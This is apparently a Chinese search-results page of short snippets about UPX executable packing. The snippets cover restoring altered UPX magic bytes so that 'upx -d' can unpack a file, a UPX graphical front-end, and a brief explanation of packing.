    直接进行UPX脱壳是没法脱掉的,打开编辑器看下是对魔数进行了修改,如下为修改后的: 进行修复,将2E 62 73 73修改为55 50 58 21 接着使用upx -d 直接砸壳即可 比较菜所以喜欢记录一些学习过程...
  • 这是一个非常好的非官方 UPX (Ultimate Packer for Executables) Windows 图形界面程序, 而且新版本中已经集成了 UPX 3.08 和 3.09 两个版本, 可让使用者自由选择, 并不需要你的系统中已安装 UPX(我还同时放上 UPX ...
  • 技术原理: 对于可执行程序资源压缩,是保护文件的常用手段. 俗称加壳,加壳过的程序可以直接运行,但是不能查看源代码.要经过脱壳才可以查看源代码.... upx: libcef.so: IOException: file is too large – skipped

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,165
精华内容 866
关键字:

upx无法使用